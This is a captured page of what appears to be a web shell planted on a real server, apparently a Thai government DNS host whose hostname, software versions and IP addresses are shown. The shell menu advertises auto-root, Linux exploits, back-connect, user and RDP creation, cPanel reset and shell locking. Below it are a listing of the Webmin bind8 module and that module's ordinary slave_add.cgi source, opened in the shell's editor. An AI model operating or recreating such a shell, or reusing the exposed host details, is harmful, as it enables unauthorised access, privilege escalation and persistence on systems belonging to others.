Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
bind8 /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
12.67
KB
-rw-r--r--
acl_security.pl
10.2
KB
-rwxr-xr-x
backup_config.pl
1.37
KB
-rwxr-xr-x
bind8-lib.pl
109.57
KB
-rwxr-xr-x
cgi_args.pl
1.83
KB
-rwxr-xr-x
check_zone.cgi
992
B
-rwxr-xr-x
close.cgi
289
B
-rwxr-xr-x
conf_acls.cgi
936
B
-rwxr-xr-x
conf_controls.cgi
2.29
KB
-rwxr-xr-x
conf_dnssec.cgi
883
B
-rwxr-xr-x
conf_dnssectools.cgi
2.11
KB
-rwxr-xr-x
conf_files.cgi
1.14
KB
-rwxr-xr-x
conf_forwarding.cgi
1.49
KB
-rwxr-xr-x
conf_keys.cgi
1.02
KB
-rwxr-xr-x
conf_logging.cgi
4.8
KB
-rwxr-xr-x
conf_manual.cgi
1.16
KB
-rwxr-xr-x
conf_misc.cgi
1.9
KB
-rwxr-xr-x
conf_ncheck.cgi
754
B
-rwxr-xr-x
conf_net.cgi
3.42
KB
-rwxr-xr-x
conf_rndc.cgi
1.1
KB
-rwxr-xr-x
conf_servers.cgi
1.75
KB
-rwxr-xr-x
conf_trusted.cgi
2.79
KB
-rwxr-xr-x
conf_zonedef.cgi
4.81
KB
-rwxr-xr-x
config-CentOS-Linux-6.0-ALL
1.11
KB
-rw-r--r--
config-Redhat-Enterprise-Linux...
904
B
-rw-r--r--
config-Scientific-Linux-6.0-AL...
907
B
-rw-r--r--
config-aix
703
B
-rw-r--r--
config-cobalt-linux
708
B
-rw-r--r--
config-coherent-linux
843
B
-rw-r--r--
config-corel-linux
708
B
-rw-r--r--
config-debian-linux
708
B
-rw-r--r--
config-debian-linux-2.2
713
B
-rw-r--r--
config-debian-linux-3.0
828
B
-rw-r--r--
config-debian-linux-3.1-ALL
920
B
-rw-r--r--
config-freebsd-2.1-2.2
714
B
-rw-r--r--
config-freebsd-3.0
715
B
-rw-r--r--
config-freebsd-3.1-3.5
708
B
-rw-r--r--
config-freebsd-4.0-ALL
715
B
-rw-r--r--
config-generic-linux
736
B
-rw-r--r--
config-gentoo-linux
813
B
-rw-r--r--
config-hpux
708
B
-rw-r--r--
config-irix
708
B
-rw-r--r--
config-macos
714
B
-rw-r--r--
config-macos-1.3-ALL
775
B
-rw-r--r--
config-mandrake-linux
800
B
-rw-r--r--
config-mandrake-linux-10.2-ALL
788
B
-rw-r--r--
config-msc-linux
774
B
-rw-r--r--
config-netbsd
715
B
-rw-r--r--
config-open-linux
784
B
-rw-r--r--
config-openbsd-2.5-3.1
708
B
-rw-r--r--
config-openbsd-3.2-ALL
726
B
-rw-r--r--
config-openmamba-linux
784
B
-rw-r--r--
config-openserver
708
B
-rw-r--r--
config-osf1
708
B
-rw-r--r--
config-pardus-linux
861
B
-rw-r--r--
config-redhat-linux
784
B
-rw-r--r--
config-redhat-linux-10.0
947
B
-rw-r--r--
config-redhat-linux-11.0-23.0
955
B
-rw-r--r--
config-redhat-linux-24.0-ALL
957
B
-rw-r--r--
config-redhat-linux-7.1-9.0
818
B
-rw-r--r--
config-slackware-linux
708
B
-rw-r--r--
config-slackware-linux-8.0-ALL
742
B
-rw-r--r--
config-sol-linux
836
B
-rw-r--r--
config-solaris
723
B
-rw-r--r--
config-solaris-10-ALL
821
B
-rw-r--r--
config-solaris-7-9
711
B
-rw-r--r--
config-suse-linux
708
B
-rw-r--r--
config-suse-linux-8.2
868
B
-rw-r--r--
config-suse-linux-9.0-9.2
981
B
-rw-r--r--
config-suse-linux-9.3-ALL
1.02
KB
-rw-r--r--
config-syno-linux
669
B
-rw-r--r--
config-trustix-linux
913
B
-rw-r--r--
config-trustix-linux-2.1
909
B
-rw-r--r--
config-trustix-linux-2.2-ALL
925
B
-rw-r--r--
config-turbo-linux
708
B
-rw-r--r--
config-united-linux
808
B
-rw-r--r--
config-unixware
749
B
-rw-r--r--
config-windows
1.15
KB
-rw-r--r--
config.info
3.95
KB
-rw-r--r--
config.info.bg
4.48
KB
-rw-r--r--
config.info.bg.UTF-8
6.87
KB
-rw-r--r--
config.info.ca
4.45
KB
-rw-r--r--
config.info.ca.UTF-8
4.5
KB
-rw-r--r--
config.info.cz
3.11
KB
-rw-r--r--
config.info.cz.UTF-8
3.33
KB
-rw-r--r--
config.info.de
4.8
KB
-rw-r--r--
config.info.de.UTF-8
4.8
KB
-rw-r--r--
config.info.es
3.52
KB
-rw-r--r--
config.info.es.UTF-8
3.52
KB
-rw-r--r--
config.info.fa
4.71
KB
-rw-r--r--
config.info.fr
4.55
KB
-rw-r--r--
config.info.fr.UTF-8
4.55
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja_JP.UTF-8
4.03
KB
-rw-r--r--
config.info.ja_JP.euc
3.08
KB
-rw-r--r--
config.info.ms_MY
1.12
KB
-rw-r--r--
config.info.ms_MY.UTF-8
1.12
KB
-rw-r--r--
config.info.nl
4.1
KB
-rw-r--r--
config.info.nl.UTF-8
4.1
KB
-rw-r--r--
config.info.no
4.12
KB
-rw-r--r--
config.info.no.UTF-8
4.12
KB
-rw-r--r--
config.info.pl
4.26
KB
-rw-r--r--
config.info.pl.UTF-8
4.41
KB
-rw-r--r--
config.info.pt_BR
4
KB
-rw-r--r--
config.info.pt_BR.UTF-8
4.04
KB
-rw-r--r--
config.info.ru.UTF-8
3.19
KB
-rw-r--r--
config.info.ru_RU
2.02
KB
-rw-r--r--
config.info.ru_RU.UTF-8
3.19
KB
-rw-r--r--
config.info.ru_SU
2.03
KB
-rw-r--r--
config.info.sv
1.2
KB
-rw-r--r--
config.info.sv.UTF-8
1.2
KB
-rw-r--r--
config.info.tr
582
B
-rw-r--r--
config.info.uk_UA
2.11
KB
-rw-r--r--
config.info.uk_UA.UTF-8
3.28
KB
-rw-r--r--
config.info.zh_CN
660
B
-rw-r--r--
config.info.zh_CN.UTF-8
794
B
-rw-r--r--
config.info.zh_TW.Big5
294
B
-rw-r--r--
config.info.zh_TW.UTF-8
364
B
-rw-r--r--
convert_master.cgi
992
B
-rwxr-xr-x
convert_slave.cgi
1.38
KB
-rwxr-xr-x
cpan_modules.pl
143
B
-rw-r--r--
create_delegation.cgi
1.72
KB
-rwxr-xr-x
create_forward.cgi
2.04
KB
-rwxr-xr-x
create_hint.cgi
1.42
KB
-rwxr-xr-x
create_master.cgi
5.56
KB
-rwxr-xr-x
create_slave.cgi
4.05
KB
-rwxr-xr-x
create_view.cgi
1.45
KB
-rwxr-xr-x
db.cache
2.44
KB
-rw-r--r--
defaultacl
219
B
-rw-r--r--
delegation_form.cgi
1.25
KB
-rwxr-xr-x
delete_recs.cgi
2.58
KB
-rwxr-xr-x
delete_view.cgi
2.29
KB
-rwxr-xr-x
delete_zone.cgi
4.94
KB
-rwxr-xr-x
disable_zonedt.cgi
881
B
-rwxr-xr-x
disable_zonekey.cgi
862
B
-rwxr-xr-x
dns_boot.cgi
2.5
KB
-rwxr-xr-x
edit_delegation.cgi
1.09
KB
-rwxr-xr-x
edit_forward.cgi
1.8
KB
-rwxr-xr-x
edit_hint.cgi
972
B
-rwxr-xr-x
edit_master.cgi
5.73
KB
-rwxr-xr-x
edit_options.cgi
1.56
KB
-rwxr-xr-x
edit_record.cgi
1.08
KB
-rwxr-xr-x
edit_recs.cgi
7.57
KB
-rwxr-xr-x
edit_slave.cgi
3.92
KB
-rwxr-xr-x
edit_soa.cgi
2.49
KB
-rwxr-xr-x
edit_soptions.cgi
2.05
KB
-rwxr-xr-x
edit_stub.cgi
3.92
KB
-rwxr-xr-x
edit_text.cgi
1.26
KB
-rwxr-xr-x
edit_view.cgi
2.07
KB
-rwxr-xr-x
edit_zonedt.cgi
6.5
KB
-rwxr-xr-x
edit_zonekey.cgi
3.78
KB
-rwxr-xr-x
enable_zonedt.cgi
1.07
KB
-rwxr-xr-x
enable_zonekey.cgi
1.36
KB
-rwxr-xr-x
feedback_files.pl
535
B
-rwxr-xr-x
find_free.cgi
5.53
KB
-rwxr-xr-x
find_zones.cgi
3.84
KB
-rwxr-xr-x
fix_trusted.cgi
972
B
-rwxr-xr-x
forward_form.cgi
1.33
KB
-rwxr-xr-x
free_chooser.cgi
1.93
KB
-rwxr-xr-x
freeze_zone.cgi
1.03
KB
-rwxr-xr-x
hint_form.cgi
1.74
KB
-rwxr-xr-x
index.cgi
17.66
KB
-rwxr-xr-x
install_check.pl
491
B
-rwxr-xr-x
list_gen.cgi
1.89
KB
-rwxr-xr-x
list_slaves.cgi
3.22
KB
-rwxr-xr-x
log_parser.pl
2.44
KB
-rwxr-xr-x
mass_create.cgi
7.28
KB
-rwxr-xr-x
mass_delete.cgi
3.06
KB
-rwxr-xr-x
mass_form.cgi
1.39
KB
-rwxr-xr-x
mass_rcreate.cgi
3.48
KB
-rwxr-xr-x
mass_rcreate_form.cgi
1.44
KB
-rwxr-xr-x
mass_rdelete.cgi
1.79
KB
-rwxr-xr-x
mass_rdelete_form.cgi
1.25
KB
-rwxr-xr-x
mass_update.cgi
2.92
KB
-rwxr-xr-x
mass_update_form.cgi
1.07
KB
-rwxr-xr-x
master_form.cgi
3.43
KB
-rwxr-xr-x
module.info
279
B
-rw-r--r--
module.info.bg
24
B
-rw-r--r--
module.info.bg.UTF-8
36
B
-rw-r--r--
module.info.ca
106
B
-rw-r--r--
module.info.ca.UTF-8
118
B
-rw-r--r--
module.info.cz
24
B
-rw-r--r--
module.info.cz.UTF-8
30
B
-rw-r--r--
module.info.de
117
B
-rw-r--r--
module.info.de.UTF-8
129
B
-rw-r--r--
module.info.es
29
B
-rw-r--r--
module.info.es.UTF-8
35
B
-rw-r--r--
module.info.fr
41
B
-rw-r--r--
module.info.fr.UTF-8
47
B
-rw-r--r--
module.info.hu
27
B
-rw-r--r--
module.info.hu.UTF-8
33
B
-rw-r--r--
module.info.ja_JP.UTF-8
36
B
-rw-r--r--
module.info.ja_JP.euc
31
B
-rw-r--r--
module.info.ko_KR.UTF-8
34
B
-rw-r--r--
module.info.ko_KR.euc
30
B
-rw-r--r--
module.info.ms_MY
116
B
-rw-r--r--
module.info.ms_MY.UTF-8
128
B
-rw-r--r--
module.info.nl
24
B
-rw-r--r--
module.info.nl.UTF-8
30
B
-rw-r--r--
module.info.no
24
B
-rw-r--r--
module.info.no.UTF-8
30
B
-rw-r--r--
module.info.pl
95
B
-rw-r--r--
module.info.pl.UTF-8
108
B
-rw-r--r--
module.info.pt
29
B
-rw-r--r--
module.info.pt.UTF-8
35
B
-rw-r--r--
module.info.pt_BR
32
B
-rw-r--r--
module.info.pt_BR.UTF-8
38
B
-rw-r--r--
module.info.ru.UTF-8
36
B
-rw-r--r--
module.info.ru_RU
27
B
-rw-r--r--
module.info.ru_RU.UTF-8
39
B
-rw-r--r--
module.info.ru_SU
27
B
-rw-r--r--
module.info.sv
24
B
-rw-r--r--
module.info.sv.UTF-8
30
B
-rw-r--r--
module.info.tr
26
B
-rw-r--r--
module.info.zh_CN
27
B
-rw-r--r--
module.info.zh_TW.Big5
32
B
-rw-r--r--
move_zone.cgi
1.22
KB
-rwxr-xr-x
old_save_controls.cgi
2.08
KB
-rwxr-xr-x
open.cgi
254
B
-rwxr-xr-x
records-lib.pl
25.12
KB
-rwxr-xr-x
refetch.cgi
652
B
-rwxr-xr-x
resign.pl
2.03
KB
-rwxr-xr-x
resign_zone.cgi
655
B
-rwxr-xr-x
restart.cgi
716
B
-rwxr-xr-x
restart_zone.cgi
784
B
-rwxr-xr-x
save_acls.cgi
1.55
KB
-rwxr-xr-x
save_controls.cgi
2.25
KB
-rwxr-xr-x
save_dnssec.cgi
1.24
KB
-rwxr-xr-x
save_dnssectools.cgi
1.34
KB
-rwxr-xr-x
save_files.cgi
778
B
-rwxr-xr-x
save_forward.cgi
794
B
-rwxr-xr-x
save_forwarding.cgi
1.02
KB
-rwxr-xr-x
save_gen.cgi
3.74
KB
-rwxr-xr-x
save_keys.cgi
1.09
KB
-rwxr-xr-x
save_logging.cgi
2.92
KB
-rwxr-xr-x
save_manual.cgi
721
B
-rwxr-xr-x
save_master.cgi
1.01
KB
-rwxr-xr-x
save_misc.cgi
1.25
KB
-rwxr-xr-x
save_net.cgi
3.11
KB
-rwxr-xr-x
save_record.cgi
21.63
KB
-rwxr-xr-x
save_rndc.cgi
2.71
KB
-rwxr-xr-x
save_servers.cgi
1.68
KB
-rwxr-xr-x
save_slave.cgi
1.5
KB
-rwxr-xr-x
save_soa.cgi
2.53
KB
-rwxr-xr-x
save_text.cgi
1.06
KB
-rwxr-xr-x
save_trusted.cgi
2.71
KB
-rwxr-xr-x
save_view.cgi
1.31
KB
-rwxr-xr-x
save_zonedef.cgi
3
KB
-rwxr-xr-x
sign_zone.cgi
717
B
-rwxr-xr-x
slave_add.cgi
5.24
KB
-rwxr-xr-x
slave_delete.cgi
598
B
-rwxr-xr-x
slave_form.cgi
2.1
KB
-rwxr-xr-x
start.cgi
350
B
-rwxr-xr-x
stop.cgi
277
B
-rwxr-xr-x
stub_form.cgi
2.1
KB
-rwxr-xr-x
syslog_logs.pl
650
B
-rwxr-xr-x
system_info.pl
1.01
KB
-rw-r--r--
unfreeze_zone.cgi
1.02
KB
-rwxr-xr-x
view_form.cgi
1.06
KB
-rwxr-xr-x
view_text.cgi
1.09
KB
-rwxr-xr-x
whois.cgi
1.21
KB
-rwxr-xr-x
xfer.cgi
1.61
KB
-rwxr-xr-x
zone_dnssecmgt_dt.cgi
1.32
KB
-rwxr-xr-x
zone_dnssecmigrate_dt.cgi
2.26
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : slave_add.cgi
#!/usr/bin/perl # Add or update a server or group from the webmin servers module use strict; use warnings; our (%access, %text, %in, %config); require './bind8-lib.pl'; $access{'slaves'} || &error($text{'slaves_ecannot'}); &ReadParse(); &foreign_require("servers", "servers-lib.pl"); my @allservers = grep { $_->{'user'} } &servers::list_servers(); my @add; my $msg; my $group; if ($in{'server'} =~ /^group_(\S+)/) { # Add all from a group ($group) = grep { $_->{'name'} eq $1 } &servers::list_all_groups(\@allservers); foreach my $m (@{$group->{'members'}}) { push(@add, grep { $_->{'host'} eq $m } @allservers); } &error_setup($text{'add_gerr'}); $msg = &text('add_gmsg', $group->{'name'}); $in{'name_def'} || &error($text{'add_egname'}); } else { # Add a single host @add = grep { $_->{'id'} eq $in{'server'} } @allservers; &error_setup($text{'add_err'}); $msg = &text('add_msg', &server_name($add[0])); $in{'name_def'} || &valdnsname($in{'name'}) || &error($text{'add_ename'}); } $in{'view_def'} || $in{'view'} =~ /\S/ || &error($text{'add_eview'}); my $myip = $config{'this_ip'} || &to_ipaddress(&get_system_hostname()); $myip && $myip ne "127.0.0.1" || &error($text{'add_emyip'}); &ui_print_header(undef, $text{'add_title'}, ""); print "<b>$msg</b><p>\n"; # Setup error handler for down hosts my $add_error_msg; sub add_error { $add_error_msg = join("", @_); } &remote_error_setup(\&add_error); # Build map from zone names to configs my $conf = &get_config(); my %zmap = ( ); my @zoneconfs = &find("zone", $conf); my @views = &find("view", $conf); foreach my $v (@views) { push(@zoneconfs, &find("zone", $v->{'members'})); } foreach my $z (@zoneconfs) { my $type = &find_value("type", $z->{'members'}); if ($type eq "master") { $zmap{$z->{'value'}} = $z; } } # Make sure each host is set up for BIND my @zones = grep { $_->{'type'} eq 'master' } &list_zone_names(); foreach my $s (@add) { $s->{'bind8_view'} = $in{'view_def'} == 1 ? undef : $in{'view_def'} == 2 ? "*" : $in{'view'}; my $add_error_msg = undef; my $bind8 = &remote_foreign_check($s, "bind8"); if ($add_error_msg) { print "$add_error_msg<p>\n"; next; } if (!$bind8) { print &text('add_echeck', $s->{'host'}),"<p>\n"; next; } &remote_foreign_require($s, "bind8", "bind8-lib.pl"); my $inst = &remote_foreign_call($s, "bind8", "foreign_installed", "bind8", 1); if (!$inst) { print &text('add_emissing', $s->{'host'}),"<p>\n"; next; } # Check for needed Webmin versions my $rver = &remote_foreign_call($s, "bind8", "get_webmin_version"); if ($rver < 1.202) { print &text('add_eversion', $s->{'host'}, 1.202),"<p>\n"; next; } if ($s->{'bind8_view'} && $s->{'bind8_view'} =~ /\s/ && $rver < 1.422) { print &text('add_eversion2', $s->{'host'}, 1.422),"<p>\n"; next; } # Check for non-IP name if (&check_ipaddress($s->{'host'}) && $in{'name_def'}) { print &text('add_eipaddr', $s->{'host'}),"<p>\n"; next; } if (!$in{'name_def'} && &check_ipaddress($in{'name'})) { print &text('add_eipaddr', $s->{'host'}),"<p>\n"; next; } my @rzones = grep { $_->{'type'} ne 'view' } &remote_foreign_call($s, "bind8", "list_zone_names"); print &text('add_ok', $s->{'host'}, scalar(@rzones)),"<p>\n"; $s->{'sec'} = $in{'sec'}; $s->{'nsname'} = $in{'name_def'} ? undef : $in{'name'}; &add_slave_server($s); my %rgot = map { $_->{'name'}, 1 } @rzones; if ($in{'sync'}) { # Add all master zones from this server to the slave my $zcount = 0; my $zerr = 0; my $sip = &to_ipaddress($s->{'host'}); my %zerrs; foreach my $zone (grep { !$rgot{$_->{'name'}} } @zones) { my ($slaveerr) = &create_on_slaves($zone->{'name'}, $myip, undef, [ $s->{'host'} ], $zone->{'view'}); if ($slaveerr) { $zerrs{$slaveerr->[0]->{'host'}} ||= $slaveerr->[1]; $zerr++; } else { $zcount++; } } # Restart the slave if ($zcount) { &remote_foreign_call($s, "bind8", "restart_bind"); } # Add slave IP to master zone allow-transfer and also-notify # blocks my $dchanged = 0; foreach my $zone (@zones) { my $z = $zmap{$zone->{'name'}}; next if (!$z || !$sip); foreach my $d ("also-notify", "allow-transfer") { my $n = &find($d, $z->{'members'}); if ($n) { # Block already exists my ($got) = grep { $_->{'name'} eq $sip } @{$n->{'members'}}; next if ($got); push(@{$n->{'members'}}, { 'name' => $sip }); } else { # Need to add block $n = { 'name' => $d, 'type' => 1, 'members' => [ { 'name' => $sip }, ] }; } &lock_file($z->{'file'}); &save_directive($z, $d, [ $n ], 1); &flush_file_lines(); $dchanged++; } } if ($dchanged) { &unlock_all_files(); &restart_bind(); } # Tell the user if ($zerr) { print &text('add_createerr', $s->{'host'}, $zcount, $zerr),"<br>\n"; foreach my $k (keys %zerrs) { print "$k : $zerrs{$k}<br>\n"; } print "<p>\n"; } else { print &text('add_createok', $s->{'host'}, $zcount),"<p>\n"; } } } &remote_finished(); if ($in{'add'}) { &webmin_log("add", "host", $add[0]->{'host'}); } else { &webmin_log("add", "group", $group->{'name'}); } &ui_print_footer("list_slaves.cgi", $text{'slaves_return'});
Close